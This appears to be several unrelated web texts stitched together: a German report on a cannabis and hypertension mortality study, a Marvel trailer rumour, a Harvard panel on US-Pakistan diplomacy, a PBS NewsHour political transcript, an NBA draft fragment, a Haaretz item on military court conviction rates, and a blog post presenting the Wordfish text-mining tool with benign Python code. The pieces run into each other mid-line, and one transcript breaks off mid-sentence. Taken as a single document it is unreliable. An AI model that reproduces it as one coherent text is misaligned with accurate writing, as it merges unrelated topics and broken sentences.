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Langfristig könnte der gewohnheitsmäßige Konsum jedoch das Sterberisiko erhöhen, wie eine retrospektive Studie der Georgia State University in Atlanta vermuten lässt. Barbara Yankey und Mitarbeiter haben die Daten der NHANES-Umfrage (National Health and Nutrition Examination Survey) mit späteren Einträgen im Sterberegister des Landes abgeglichen. Die NHANES ist eine regelmäßige repräsentative Umfrage der Centers for Disease Control and Prevention zum Gesundheitszustand der Bevölkerung. Im Jahr 2005/6 wurden die Teilnehmer auch gefragt, ob sie Cannabis konsumieren und wenn ja, wie lange schon.
Yankey setzte die Daten mit späteren Todesfällen in Beziehung, die vom National Centre for Health Statistics registriert werden. Dabei zeigte sich, dass die Cannabis-Konsumenten häufiger als Nicht-Konsumenten an den Folgen einer arteriellen Hypertonie gestorben waren. Gewertet wurden hier alle Einträge zur primären Hypertonie und zu hypertensiven Nierenerkrankungen in den Todesbescheinigungen.
In der nicht-adjustierten Analyse, die Begleitfaktoren nicht berücksichtigt, ermittelt Yankey eine Hazard Ratio von 1,86, die mit einem 95-Prozent-Konfidenzintervall von 0,95 bis 3,66 nicht signifikant ist. In der adjustierten Analyse steigt die Hazard Ratio auf 3,42, die trotz eines weiten 95-Prozent-Konfidenzintervalls von 1,20 bis 9,79 statistisch signifikant ist. Ein Anstieg der Hazard Ratio nach einer Adjustierung ist ungewöhnlich und Yankey bleibt eine Erklärung schuldig.
Die Aussage, dass jedes Jahr eines aktiven Cannabiskonsums das Sterberisiko an den Folgen eines zu hohen Blutdrucks um 4 Prozent erhöht (Hazard Ratio 1,04; 1,00-1,07) dürfte deshalb mit Fragezeichen zu versehen sein. Zu den Schwächen gehört der retrospektive Abgleich zweier unterschiedlicher Datenquellen, der sich auf die notorisch unzuverlässigen Angaben in Todesbescheinigungen verlässt. Die Studie zeigt allerdings erneut, dass die gesundheitlichen Folgen des Cannabiskonsums insgesamt wenig erforscht sind. © rme/aerzteblatt.deWe've been getting bits and pieces of Captain America: Civil War all week.
On Monday, the press visit reports flooded out with coverage from Team Cap's side of the production. The overwhelming message was that this movie will be very much a Captain America film and a conclusion to Steve Rogers' trilogy of movies. Plus, Scarlet Witch and her powers will be explored. Then, on Tuesday, Team Iron Man's side flooded out and we learned a lot about Black Panther and that The Vision, like Scarlet Witch, will see an arc regarding his powers.
The missing piece of the big picture has remained the same from the time this film began production: Spider-Man. That's about to change. With the announcement of a new Captain America: Civil War trailer coming tomorrow, Latino Review is reporting that it is being referred to as the "payoff" trailer at Marvel and it will "heavily" feature Tom Holland's Spider-Man.
There's no confirmation of this new rumor just yet and these types of things tend to either be spot on or completely inaccurate. At least we won't have to wait very long to find out. It would make sense for Spider-Man to debut tomorrow, or at least soon. While Marvel may have other tricks up its sleeve, this is a time which is crucial for the marketing of Batman v. Superman: Dawn of Justice. The film arrives at the end of the month and will attempt to dominate the media in the coming weeks and Marvel still has Daredevil coming just a week before Batman v. Superman. Revealing Spider-Man tomorrow gives the Internet time to explode and when the smoke clears, it finds Daredevil news.Najam and Pakistan Ambassador Talk Diplomacy at Harvard
Pardee School Dean Adil Najam believes that US-Pakistan relations today “are about as bad as they have ever been; but no worse.” The new Pakistan Ambassador to US, Aizaz Chaudhry, has a rather more positive take on the issue. The two discussed this and other aspects of US-Pakistan diplomatic relations at a panel held at Harvard University’s Belfer Center on Thursday, April 27, 2017. The discussion was moderated by Cathryn Clüver, the Executive Director of the The Future of Diplomacy Project at the Harvard Kennedy School of Government.
While Ambassador Chaudhry focused on the positive economic and political trends in Pakistan, Adil Najam, who is the Inaugural Dean of the Frederick S. Pardee School of Global Studies at Boston University, presented a more dire prognosis in terms of US-Pakistan relations. Najam suggested that recent political changes in USA have only made things worse but for many years now US-Pakistan relations have suffered from a “failure of diplomacy” on the part of both nations. He pointed out, for example, that the first high-ranking official sent by the Trump administration to Pakistan was the secretary of defense and the in the first high-level contact between the two countries in Washington, D.C., the USA was again represented by a general, the head of the National Security Council. This, he argued, further encourages the military in Pakistan that the U.S. continues to retain a securitized posture to diplomacy with Pakistan.
In addition to the live discussion, followed by audience Q&A, the Pakistan Ambassador and the Pardee School Dean also recorded a podcast on the same topic as part of the “Conversations in Diplomacy” series (above). The podcast, which can be heard here, covers much of the same ground that was covered in the panel discussion.
Adil Najam is the Inaugural Dean of the Boston University Pardee School and his research focusses on sustainable development policy and the politics of South Asia. More here.PBS NEWSHOUR: Syndicated columnist Mark Shields and New York Times columnist David Brooks join Miles O’Brien to discuss the week’s news, including how Hurricane Harvey might redirect Republicans’ fall agenda, the Trump administration’s response to the emergency, how the government will pay for the long and arduous recovery, whether the storm will shift political discourse about climate change and more.
Brooks said Hurricane Harvey gave Republicans the pretext to change the subject from funding a border wall to funding relief for Hurricane Harvey. Brooks said Texas will need to be rebuilt and there will be a demand for construction workers.
"They could say, 'hey, we can’t do the wall right now, we got to rebuild Texas,'" Brooks said about GOP Congressmen. "And, by the way, on the background, a lot of people are going to need a lot of construction workers in Texas. And this is a construction with a construction worker flourish."
"So, maybe this isn’t the time to crack down on immigration," Brooks added.
Brooks also said the unity that was seen in Houston, the most ethnically diverse city in the U.S., proved wrong the argument that we will never have solidarity if more immigration and diversity is allowed.
"To me, the two biggest things that happened was, first, Houston came together," Brooks said. "And that is significant, because Houston is the most ethnically diverse city in this country. And there’s an argument that is sometimes made, oh, we will never have solidarity as a nation if we’re so ethnically diverse."
"Well, Houston does it. And so if they can do it, I think that argument against making our country diverse or opening up more immigration falls down," Brooks added.
Brooks said the idea that relief funding should be offset by cuts, or "rip the money from other program," seems like "an insane way to do government."
"The second issue is whether they have what I talked about before, the offsets. And this is what Republicans have traditionally demanded. If we’re going to pay for Sandy relief, if we’re going to pay for Katrina relief, we got to rip the money from some other program," the columnist said.
"And that seems to me an insane way to do government," Brooks declared. "You have got these permanent domestic policy programs. Then we have a pretty steady slate of disasters that we have to pay for. Every we have a disaster, to rip money from the permanent programs just seems, like, crazy."
Transcript, via PBS NewsHour:
MILES O’BRIEN: In addition to the grueling work of rescue and recovery on the ground, Hurricane Harvey has stirred up political challenges and marked the first natural disaster on President Trump’s watch.
For what’s at stake, we get the analysis of Shields and Brooks. That’s syndicated columnist Mark Shields and New York Times columnist David Brooks.
Gentlemen, good to have you with us.
To what extent has the storm on Friday and what has ensued changed what’s going to happen in Washington in September? Do you think this is a reset in a sense, David?
DAVID BROOKS, The New York Times: I have decided to take the most willfully confident or least optimistic point of view just maybe post-flood, that the dove comes bearing the olive branch.
And I do think there’s potential for things to get better. The Republicans were headed toward dysfunction this fall with the budget showdowns, with this fight over the wall, possible government shutdown.
And now they at least have a pretext, all the while knowing they look dysfunctional and they have to get something done. Now they have a pretext to change the subject, to put some budget relief in there for the flood, without doing offsets, without trying to rip the money out from other programs.
And they could say, hey, we can’t do the wall right now. We got to rebuild Texas. And, by the way, on the background, a lot of people are going to need a lot of construction workers in Texas. And this is a construction with a construction worker flourish.
So, maybe this isn’t the time to crack down on immigration. And so I think there’s a possibility, if they want to look functional, to seize this moment, whether they will or not. But I’m going for maximal optimistic unrealism.
###
MILES O’BRIEN: I want to talk a little bit about what is going on in Washington in just a moment.
But let’s — a couple of things about the actual, the response on the ground. We didn’t have a Brownie moment this go-round, as we did in Katrina. Is your sense that, politically, the Trump administration did well in the way things happened on the ground as far as the immediate response in Texas and Louisiana, David?
DAVID BROOKS: Yes, I would say the range of government programs seemed to go well.
The people on this program and all the ones we have seen and interviewed, I think they have generally been impressive. They had tough calls to make, the mayor of Houston, on whether to evacuate or not. That was a tough call. You could argue it either way. The people seem to be responding.
To me, the two biggest things that happened was, first, Houston came together. And that is significant, because Houston is the most ethnically diverse city in this country. And there’s an argument that is sometimes made, oh, we will never have solidarity as a nation if we’re so ethnically diverse.
Well, Houston does it. And so if they can do it, I think that argument against making our country diverse or opening up more immigration falls down. The second thing is that I think, as Washington becomes more dysfunctional, power is going to the cities and states.
And I thought the basic efficacy of the Houston government this week is further sign that that may have to happen even more.
###
MILES O’BRIEN: Yes, these are — it’s a much longer road than I think people fully appreciate.
Once we in the media and the nation kind of moves on to the next thing, it gets very difficult for these people on the ground. They still have a huge problem.
Quick. The administration wants to move as quickly as possible, it says, to get a relief package under way. How realistic is that, David? Do you think that there’s — given all that happened post-Hurricane Sandy and the efforts that you mentioned of Senator Cruz and others to try to block that aid package, will there be obstacles?
DAVID BROOKS: Yes, I think the first tranche of this package, they will get.
The second issue is whether they have what I talked about before, the offsets. And this is what Republicans have traditionally demanded. If we’re going to pay for Sandy relief, if we’re going to pay for Katrina relief, we got to rip the money from some other program.
And that seems to me an insane way to do government. You have got these permanent domestic policy programs. Then we have a pretty steady slate of disasters that we have to pay for. Every we have a disaster, to rip money from the permanent programs just seems, like, crazy.
Will they insist on the offsets this time? I think, in the first tranche, probably no, but the second tranche, $15 billion maybe in the first, but they’re talking about a $150 billion need. And so that’s just a gigantic budget lift.
###
MILES O’BRIEN: All right, so what about the talk of government shutdown, which was in play before the storm came in? Is that gone now, you think?
DAVID BROOKS: Well, if this were a normal country with a normal government, you would think there’s no way. I think we’re…
(LAUGHTER)
MILES O’BRIEN: But that is not the case.
DAVID BROOKS: That is not the case.
So, I think there is still some chance. I have trouble. I do think this was a moment where they was some unification. Republicans know they can’t be total disasters as the governing party.
And I just wish there was some more forward-looking enthusiasm. The Chicago Fire, the San Francisco Earthquake, these were moments of revitalization for those cities, a chance to take the disaster and really build something.
So far, I haven’t seen much of a chance. What are we going to do with this and how are we going to make Houston a different city and a better city than even it was?
###
M |
under long-term contracts, or we control their rights, So we are building long-term. The end game is to hopefully win a championship in Portland. If we can accelerate that process because we’ve got the three picks in a very deep draft, where these picks are coveted and we can get a player on a timeline from a team that is maybe going in another direction, we will absolutely push our chips in and do that.”
It will be an interesting couple of weeks leading up to the draft as players’ names will be thrown around until a deal is reached. For the Knicks’ sake, it would be wise to take advantage of these talks and promptly attain pieces to rebuild the franchise.Virtually all - 99.74 percent, to be exact - of cases heard by the military courts in the territories end in a conviction, according to data in the military courts' annual report, which has been obtained by Haaretz.
The report also shows that the military appeals courts decidedly favor the prosecution, with appeals court judges accepting 67 percent of appeals filed by the prosecution, as opposed to only 33 percent of appeals filed by the defense.
Limor Edri
The military courts, headed by Col. Aharon Mishnayot, deal with all criminal and security cases involving Palestinians, from their detention through their appeals. Only very exceptional, usually symbolic cases are heard by Israeli courts.
The military court system also includes committees that hear appeals against decisions by Israel Defense Forces commanders, committees that approve administrative detentions, and a committee that approves expulsion orders.
According to the report, 9,542 cases were wrapped up in 2010, of which 2,016 involved hostile terror activity, 763 disorderly conduct and the rest Palestinians staying illegally in Israel, traffic offenses and criminal activity.
The report states that 25 cases ended in full acquittal, meaning that the conviction rate is 99.74 percent. But 4 percent of the cases result in at least partial acquittal on one or more of the charges.
The administrative detention panels, headed by Lt. Col. Shlomi Kokhav, handled 714 requests for administrative detention in 2010, of which 98.77 percent were approved.
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Only 51 percent of these requests were honored in full, however. The rest offset days the suspect had already been held, or put certain restrictions on the relevant military commander.If pulling a thread of meaning from woven text
is that which your heart does wish.
Not so absurd or seemingly complex,
if you befriend a tiny word fish.
I developed a simple tool for standard extraction of terminology and corpus, Wordfish, that is easily deployed to a cluster environment. I’m graduating (hopefully, tentatively, who knows) soon, and because publication is unlikely, I will write about the tool here, in the case it is useful to anyone. I did this project for fun, mostly because I found DeepDive to be overly complicated for my personal goal of extracting a simple set of terms from a corpus in the case that I couldn’t define relationships apriori (I wanted to learn them from the data). Thus I used neural networks (word2vec) to learn term relationships based on their context. I was able to predict reddit boards for different mental illness terms with high accuracy, and it sort of ended there because I couldn’t come up with a good application in Cognitive Neuroscience, and no “real” paper is going to write about predicting reddit boards. I was sad to not publish something, but then I realized I am empowered to write things on the internet. :) Not only that, I can make up my own rules. I don’t have to write robust methods with words, I will just show and link you to code. I might even just use bulletpoints instead of paragraphs. For results, I’ll link to ipython notebooks. I’m going to skip over the long prose and trust that if you want to look something up, you know how to use Google and Wikipedia. I will discuss the tool generally, and show an example of how it works. First, an aside about publication in general - feel free to skip this if you aren’t interested in discussing the squeaky academic machine.
Why sharing incomplete methods can be better than publication
It’s annoying that there is not a good avenue, or even more so, that it’s not desired or acceptable, to share a simple (maybe even incomplete) method or tool that could be useful to others in a different context. Publication requires the meaningful application. It’s annoying that, as researchers, we salivate for these “publication” things when the harsh reality is that this slow, inefficient process results in yet another PDF/printed thing with words on a page, offering some rosy description of an analysis and result (for which typically minimal code or data is shared) that makes claims that are over-extravagant in order to be sexy enough for publication in the first place (I’ve done quite a bit of this myself). A publication is a static thing that, at best, gets cited as evidence by another paper (and likely the person making the citation did not read the paper to full justice). Maybe it gets parsed from pubmed in someone’s meta analysis to try and “uncover” underlying signal across many publications that could have been transparently revealed in some data structure in the first place. Is this workflow really empowering others to collaboratively develop better methods and tools? I think not. Given the lack of transparency, I’m coming to realize that it’s much faster to just share things early. I don’t have a meaningful biological application. I don’t make claims that this is better than anything else. This is not peer reviewed by some three random people that gives it a blessing like from a rabbi. I understand the reasons for these things, but the process of conducting research, namely hiding code and results toward that golden nugget publication PDF, seems so against a vision of open science. Under this context, I present Wordfish.
Wordfish: tool for standard corpus and terminology extraction
Abstract
The extraction of entities and relationships between them from text is becoming common practice. The availability of numerous application program interfaces (API) to extract text from social networks, blogging platforms and feeds, standard sources of knowledge is continually expanding, offering an extensive and sometimes overwhelming source of data for the research scientist. While large corporations might have exclusive access to data and robust pipelines for easily obtaining the data, the individual researcher is typically granted limited access, and commonly must devote substantial amounts of time to writing extraction pipelines. Unfortunately, these pipelines are usually not extendable beyond the dissemination of any result, and the process is inefficiently repeated. Here I present Wordfish, a tiny but powerful tool for the extraction of corpus and terms from publicly available sources. Wordfish brings standardization to the definition and extraction of terminology sources, providing an open source repository for developers to write plugins to extend their specific terminologies and corpus to the framework, and research scientists an easy way to select from these corpus and terminologies to perform extractions and drive custom analysis pipelines. To demonstrate the utility of this tool, I use Wordfish in a common research framework: classification. I first build deep learning models to predict Reddit boards from post content with high accuracy. I hope that a tool like Wordfish can be extended to include substantial plugins, and can allow easier access to ample sources of textual content for the researcher, and a standard workflow for developers to add a new terminology or corpus source.
Introduction
While there is much talk of “big data,” when you peek over your shoulder and look at your colleague’s dataset, there is a pretty good chance that it is small or medium sized. When I wanted to extract terms and relationships from text, I went to DeepDive, the ultimate powerhouse to do this. However, I found that setting up a simple pipeline required database and programming expertise. I have this expertise, but it was tenuous. I thought that it should be easy to do some kind of NLP analysis, and combine across different corpus sources. When I started to think about it, we tend to reuse the same terminologies (eg, an ontology) and corpus (pubmed, reddit, wikipedia, etc), so why not implement an extraction once, and then provide that code for others? This general idea would make a strong distinction between a developer, meaning an individual best suited to write the extraction pipeline, and the researcher, an individual best suited to use it for analysis. This sets up the goals of Wordfish: to extract terms from a corpus, and then do some higher level analysis, and make it standardized and easy.
Wordfish includes data structures that can capture an input corpus or terminology, and provides methods for retrieval and extraction. Then, it allows researchers to create applications that interactively select from the available corpus and terminologies, deploy the applications in a cluster environment, and run an analysis. This basic workflow is possible and executable without needing to set up an entire infrastructure and re-writing the same extraction scripts that have been written a million times before.
Methods
The overall idea behind the infrastructure of wordfish is to provide terminologies, corpus, and an application for working with them in a modular fashion. This means that Wordfish includes two things, wordfish-plugins and wordfish-python. Wordfish plugins are modular folders, each of which provides a standard data structure to define extraction of a corpus, terminology or both. Wordfish python is a simple python module for generating an application, and then deploying the application on a server to run analyses.
Wordfish Plugins
A wordfish plugin is simply a folder with typically two things: a functions.py file to define functions for extraction, and a config.json that is read by wordfish-python to deploy the application. We can look at the structure of a typical plugin:
plugin functions.py init.py config.json
Specifically, the functions.py has the following functions:
1) extract_terms: function to call to return a data structure of terms
2) extract_text: function to call to return a data structure of text (corpus)
3) extract_relations: function to call to return a data structure of relations
4) functions.py: is the file in the plugin folder to store these functions
The requirement of every functions.py is an import of general functions from wordfish-python that will save a data structure for a corpus, terminology, or relationships:
# IMPORTS FOR ALL PLUGINS from wordfish.corpus import save_sentences from wordfish.terms import save_terms from wordfish.terms import save_relations from wordfish.plugin import generate_job
The second requirement is a function, go_fish, which is the main function to be called by wordfish-python under the hood. In this function, the user writing the plugin can make as many calls to generate_job as necessary. A call to generate job means that a slurm job file will be written to run a particular function ( func ) with a specified category or extraction type (e.g., terms, corpus, or relations ). This second argument helps the application determine how to save the data. A go_fish function might look like this:
# REQUIRED WORDFISH FUNCTION def go_fish(): generate_job(func="extract_terms",category="terms") generate_job(func="extract_relations",category="relations")
The above will generate slurm job files to be run to extract terms and relations. Given input arguments are required for the function, the specification can look as follows:
generate_job(func="extract_relations",inputs={"terms":terms,"maps_dir":maps_dir},category="relations",batch_num=100)
where inputs is a dictionary of keys being variable names, values being the variable value. The addition of the batch_num variable also tells the application to split the extraction into a certain number of batches, corresponding to SLURM jobs. This is needed in the case that running a node on a cluster is limited to some amount of time, and the user wants to further parallelize the extraction.
Extract terms
Now we can look at more detail at the extract_terms function. For example, here is this function for the cognitive atlas. The extract_terms will return a json structure of terms
def extract_terms(output_dir): terms = get_terms() save_terms(terms,output_dir=output_dir)
You will notice that the extract_terms function uses another function that is defined in functions.py, get_terms. The user is free to include in the wordfish-plugin folder any number of additional files or functions that assist toward the extraction. Here is what get_terms looks like:
def get_terms(): terms = dict() concepts = get_concepts() for c in range(len(concepts)): concept_id = concepts[c]["id"] meta = {"name":concepts[c]["name"], "definition":concepts[c]["definition_text"]} terms[concept_id] = meta return terms
This example is again from the Cognitive Atlas, and we are parsing cognitive ceoncepts into a dictionary of terms. For each cognitive concept, we are preparing a dictionary (JSON data structure) with fields name, and definition. We then put that into another dictionary terms with the key as the unique id. This unique id is important in that it will be used to link between term and relations definitions. You can assume that the other functions (e.g., get_concepts are defined in the functions.py file.
Extract relations
For extract_relations we return a tuple of the format (term1_id,term2_id,relationship) :
def extract_relations(output_dir): links = [] terms = get_terms() concepts = get_concepts() for concept in concepts: if "relationships" in concept: for relation in concept["relationships"]: relationship = "%s,%s" %(relation["direction"],relation["relationship"]) tup = (concept["id"],relation["id"],relationship) links.append(tup) save_relations(terms,output_dir=output_dir,relationships=links)
Extract text
Finally, extract_text returns a data structure with some unique id and a blob of text. Wordfish will parse and clean up the text. The data structure for a single article is again, just JSON:
corpus[unique_id] = {"text":text,"labels":labels}
Fields include the actual text, and any associated labels that are important for classification later. The corpus (a dictionary of these data structures) gets passed to save_sentences
save_sentences(corpus_input,output_dir=output_dir)
More detail is provided in the wordfish-plugin README
The plugin controller: config.json
The plugin is understood by the application by way of a folder’s config.json, which might look like the following:
[ { "name": "NeuroSynth Database", "tag": "neurosynth", "corpus": "True", "terms": "True", "labels": "True", "relationships":"True", "dependencies": { "python": [ "neurosynth", "pandas" ], "plugins": ["pubmed"] }, "arguments": { "corpus":"email" }, "contributors": ["Vanessa Sochat"], "doi": "10.1038/nmeth.1635", } ]
1) name: a human readable description of the plugin
2) tag: a term (no spaces or special characters) that corresponds with the folder name in the plugins directory. This is a unique id for the plugin.
3) corpus/terms/relationships: boolean, each “True” or “False” should indicate if the plugin can return a corpus (text to be parsed by wordfish) or terms (a vocabulary to be used to find mentions of things), or relations (relationships between terms). This is used to parse current plugins available for each purpose, to show to the user.
4) dependencies: should include “python” and “plugins.” Python corresponds to python packages that are dependencies, and these plugins are installed by the overall application. Plugins refers to other plugins that are required, such as pubmed. This is an example of a plugin that does not offer to extract a specific corpus, terminology, or relations, but can be included in an application for other plugins to use. In the example above, the neurosynth plugin requires retrieving articles from pubmed, so the plugin develop specifies needing pubmed as a plugin dependency.
5) arguments: a dictionary with (optionally) corpus and/or terms. The user will be asked for these arguments to run the extract_text and extract_terms functions.
6) contributors: a name/orcid ID or email of researchers responsible for creation of the plugins. This is for future help and debugging.
7) doi: a reference or publication associated with the resource. Needed if it’s important for the creator of the plugin to ascribe credit to some published work.
Best practices for writing plugins
Given that a developer is writing a plugin, it is generally good practice to print to the screen what is going on, and how long it might take, as a courtesy to the user, if something needs review or debugging.
“Extracting relationships, will take approximately 3 minutes”
The developer should also use clear variable names, well documented and spaced functions (one liners are great in python, but it’s more understandable by the reader if to write out a loop sometimes), and attribute function to code that is not his. Generally, the developer should just follow good practice as a coder and human being.
Functions provided by Wordfish
While most users and clusters have internet connectivity, it cannot be assumed, and an error in attempting to access an online resource could trigger an error. If a plugin has functions that require connectivity, Wordfish provides a function to check:
from wordfish.utils import has_internet_connectivity if has_internet_connectivity(): # Do analysis
If the developer needs a github repo, Wordfish has a function for that:
from wordfish.vm import download_repo repo_directory = download_repo(repo_url="https://github.com/neurosynth/neurosynth-data")
If the developer needs a general temporary place to put things, tempfile is recommended:
import tempfile tmpdir = tempfile.mkdtemp()
Wordfish has other useful functions for downloading data, or obtaining a url. For example:
from wordfish.utils import get_url, get_json from wordfish.standards.xml.functions import get_xml_url myjson = get_json(url) webpage = get_url(url) xml = get_xml_url(url)
Custom Applications with Wordfish Python
The controller, wordfish-python is a flask application that provides the user (who is just wanting to generate an application) with an interactive web interface for doing so. It is summarized nicely in the README:
Choose your input corpus, terminologies, and deployment environment, and an application will be generated to use deep learning to extract features for text, and then entities can be mapped onto those features to discover relationships and classify new texty things. Custom plugins will allow for dynamic generation of corpus and terminologies from data structures and standards of choice from wordfish-plugins You can have experience with coding (and use the functions in the module as you wish), or no experience at all, and let the interactive web interface walk you through generation of your application.
Installation can be done via github or pip:
pip install git+git://github.com/word-fish/wordfish-python.git pip install wordfish
And then the tool is called to open up a web interface to generate the application:
wordfish
The user then selects terminologies and corpus.
And a custom application is generated, downloaded as a zip file in the browser. A “custom application” means a folder that can be dropped into a cluster environment, and run to generate the analysis,
Installing in your cluster environment
The user can drop the folder into a home directory of the cluster environment, and run the install script to install the package itself, and generate the output folder structure. The only argument that is needed is to supply is the base of the output directory:
WORK=/scratch/users/vsochat/wordfish bash install.sh $WORK
All scripts for the user to run are in the scripts folder here:
cd $WORK/scripts
Each of these files corresponds to a step in the pipeline, and is simply a list of commands to be run in parallel. The user can use launch, or submit each command to a SLURM cluster. A basic script is provided to help submit jobs to a SLURM cluster, and this could be tweaked to work with other clusters (e.g., SGE).
Running the Pipeline
After the installation of the custom application is complete, this install script simply runs run.py, which generates all output folders and running scripts. the user has a few options for running:
1) submit the commands in serial, locally. The user can run a job file with bash, bash run_extraction_relationships.job
2) submit the commands to a launch cluster, something like launch -s run_extraction_relationships.job
3) submit the commands individually to a slurm cluster. This will mean reading in the file, and submitting each script with a line like sbatch -p normal -j myjob.job [command line here]
Output structure
The jobs are going to generate output to fill in the following file structure in the project base folder, which again is defined as an environmental variable when the application is installed (files that will eventually be produced are shown):
WORK corpus corpus1 12345_sentences.txt 12346_sentences.txt corpus2 12345_sentences.txt 12346_sentences.txt terms terms1_terms.txt terms2_relationships.txt scripts run_extraction_corpus.job run_extraction_relationships.job run_extraction_terms.job
The folders are generated dynamically by the run.py script for each corpus and terms plugin based on the tag variable in the plugin’s config.json. Relationships, by way of being associated with terms, are stored in the equivalent folder, and the process is only separate because it is not the case that all plugins for terms can have relationships defined. The corpus are kept separate at this step as the output has not been parsed into any standard unique id space. Wordfish currently does not do this, but if more sophisticated applications are desired (for example with a relational database), this would be a good strategy to take.
Analysis
Once the user has files for corpus and terms, he could arguably do whatever he pleases with them. However, I found the word2vec neural network to be incredibly easy and cool, and have provided a simple analysis pipeline to use it. This example will merge all terms and corpus into a common framework, and then show examples of how to do basic comparisons, and vector extraction (custom analyses scripts can be based off of this). We will do the following:
1) Merge terms and relationships into a common corpus
2) For all text extract features with deep learning (word2vec)
3) Build classifiers to predict labels from vectors
Word2Vec Algorithm
First, what is a word2vec model? Generally, Word2Vec is a neural network implementation that will allow us to learn word embeddings from text, specifically a matrix of words by some N features that best predict the neighboring words for each term. This is an interesting way to model a text corpus because it’s not about occurrence, but rather context, of words, and we can do something like compare a term “anxiety” in different contexts. If you want equations, see this paper.
The problem Wordfish solves
Wordfish currently implements Word2Vec. Word2Vec is an unsupervised model. Applications like DeepDive take the approach that a researcher knows what he or she is looking for, requiring definition of entities as first step before their extraction from a corpus. This is not ideal given that a researcher has no idea about these relationships, or lacks either positive or negative training examples. In terms of computational requirements, Deepdive also has some that are unrealistic. For example, using the Stanford Parser is required to determine parts of speech and perform named entity recognition. While this approach is suitable for a large scale operation to mine very specific relationships between well-defined entities in a corpus, for the single researcher that wants to do simpler natural language processing, and perhaps doesn’t know what kind of relationships or entities to look for, it is too much. This researcher may want to search for some terms of interest across a few social media sources, and build models to predict one type of text content from another. The researcher may want to extract relationships between terms without having a good sense of what they are to begin with, and definition of entities, relationships, and then writing scripts to extract both should not be a requirement. While it is reasonable to ask modern day data scientists to partake in small amounts of programming, substantial setting up of databases and writing extraction pipelines should not be a requirement. A different approach that is taken by Wordfish is to provide plugins for the user to interactively select corpus and terminology, deploy their custom application in their computational environment of choice, and perform extraction using the tools that are part of their normal workflows, which might be a local command line or computing cluster.
When the DeepDive approach makes sense, the reality is that setting up the infrastructure to deploy DeepDive is really hard. When we think about it, the two applications are solving entirely different problems. All we really want to do is discover how terms are related in text. We can probably do ok to give DeepDive a list of terms, but then to have to “know” something about the features we want to extract, and have positive and negative cases for training is really annoying. If it’s annoying for a very simple toy analysis (finding relationships between cognitive concepts) I can’t even imagine how that annoyingness will scale when there are multiple terminologies to consider, different relationships between the terms, and a complete lack of positive and negative examples to validate. This is why I created Wordfish, because I wanted an unsupervised approach that required minimal set up to get to the result. Let’s talk a little more about the history of Word2Vec from this paper.
The N-Gram Model
The N-gram model (I think) is a form of hidden Markov Model where we model the P(word) given the words that came before it. The authors note that N-gram models work very well for large data, but in the case of smaller datasets, more complex methods can make up for it. However, it follows logically that a more complex model on a large dataset gives us the best of all possible worlds. Thus, people started using neural networks for these models instead.
simple models trained on huge amounts of data outperform complex systems trained on less data.
The high level idea is that we are going to use neural networks to represent words as vectors, word “embeddings.” Training is done with stochastic gradient descent and backpropagation.
How do we assess the quality of word vectors?
Similar words tend to be close together, and given a high dimensional vector space, multiple representations/relationships can be learned between words (see top of page 4). We can also perform algebraic computations on vectors and discover cool relationships, for example, the vector for V(King) - V(Man) + V(Woman) is close to V(Queen). The most common metric to compare vectors seems to be cosine distance. The interesting thing about this approach reported here is that by combining individual word vectors we can easily represent phrases, and learn new interesting relationships.
Two different algorithm options
You can implement a continuous bag of words (CBOW) or skip-gram model: 1) CBOW: predicts the word given the context (other words)
2) skip-gram: predicts other words (context) given a word (this seems more useful for what we want to do)
They are kind of like inverses of one another, and the best way to show this is with a picture:
Discarding Frequent Words
The paper notes that having frequent words in text is not useful, and that during training, frequent words are discarded with a particular probability based on the frequency. They use this probability in a sampling procedure when choosing words to train on so the more frequent words are less likely to be chosen. For more details, see here, and search Google.
Building Word2Vec Models
First, we will train a simple word2vec model with different corpus. And to do this we can import functions from Wordfish, which is installed by the application we generated above.
from wordfish.analysis import (build_models, save_models, export_models_tsv, load_models, extract_similarity_matrix, export_vectors, featurize_to_corpus) from wordfish.models import build_svm from wordfish.corpus import get_corpus, get_meta, subset_corpus from wordfish.terms import get_terms from wordfish.utils import mkdir import os
Installation of the application also write the environmental variable WORDFISH_HOME to your bash profile, so we can reference it easily:
base_dir = os.environ["WORDFISH_HOME"]
It is generally good practice to keep all components of an analysis well organized in the output directory. It makes sense to store analyses, models, and vectors:
# Setup analysis output directories analysis_dir = mkdir("%s/analysis" %(base_dir)) model_dir = mkdir("%s/models" %(analysis_dir)) vector_dir = mkdir("%s/vectors" %(analysis_dir))
Wordfish then has nice functions for generating a corpus, meaning removing stop words, excess punctuation, and the typical steps in NLP analyses. The function get_corpus returns a dictionary, with the key being the unique id of the corpus (the folder name, tag of the original plugin). We can then use the subset_corpus plugin if we want to split the corpus into the different groups (defined by the labels we specified in the initial data structure):
# Generate more specific corpus by way of file naming scheme corpus = get_corpus(base_dir) reddit = corpus["reddit"] disorders = subset_corpus(reddit) corpus.update(disorders)
We can then train corpus-specific models, meaning word2vec models.
# Train corpus specific models models = build_models(corpus)
Finally, we can export models to tsv, export vectors, and save the model so we can easily load again.
# Export models to tsv, export vectors, and save save_models(models,base_dir) export_models_tsv(models,base_dir) export_vectors(models,output_dir=vector_dir)
I want to note that I used gensim for learning and some methods. The work and examples from Dato are great!
Working with models
Wordfish provides functions for easily loading a model that is generated from a corpus:
model = load_models ( base_dir )[ "neurosynth" ]
You can then do simple things, like find the most similar words for a query word:
model.most_similar("anxiety") # [('aggression', 0.77308839559555054), # ('stress', 0.74644440412521362), # ('personality', 0.73549789190292358), # ('excessive', 0.73344630002975464), # ('anhedonia', 0.73305755853652954), # ('rumination', 0.71992391347885132), # ('distress', 0.7141801118850708), # ('aggressive', 0.7049030065536499), # ('craving', 0.70202392339706421), # ('trait', 0.69775849580764771)]
It’s easy to see that corpus context is important - here is finding similar terms for the “reddit” corpus:
model = load_models ( base_dir )[ "reddit" ] model. most_similar ( "anxiety" ) # [( 'crippling', 0.64760375022888184 ), # ( 'agoraphobia', 0.63730186223983765 ), # ( 'generalized', 0.61023455858230591 ), # ( 'gad', 0.59278655052185059 ), # ( 'hypervigilance', 0.57659250497817993 ), # ( 'bouts', 0.56644737720489502 ), # ( 'depression', 0.55617612600326538 ), # ( 'ibs', 0.54766887426376343 ), # ( 'irritability', 0.53977066278457642 ), # ( 'ocd', 0.51580017805099487 )]
Here are examples of performing addition and subtraction with vectors:
